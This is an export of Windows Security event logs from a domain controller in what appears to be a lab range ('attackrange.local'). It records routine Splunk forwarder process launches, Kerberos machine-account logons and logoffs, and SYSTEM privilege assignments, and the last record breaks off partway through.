-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252155 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1160 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252193 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152FA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252192 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x152FA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64614 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252191 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152FA0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252190 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152EEA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252189 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x152EEA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64613 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252188 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152EEA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252187 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152E31 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252186 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x152E31 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64612 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252185 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152E31 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252184 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152D7D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252183 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x152D7D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64611 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252182 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x152D7D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252180 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252179 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1018 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252178 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1018 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252177 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252176 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1360 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1360 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12fc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252173 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252172 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252213 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1545D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252212 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1545D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - 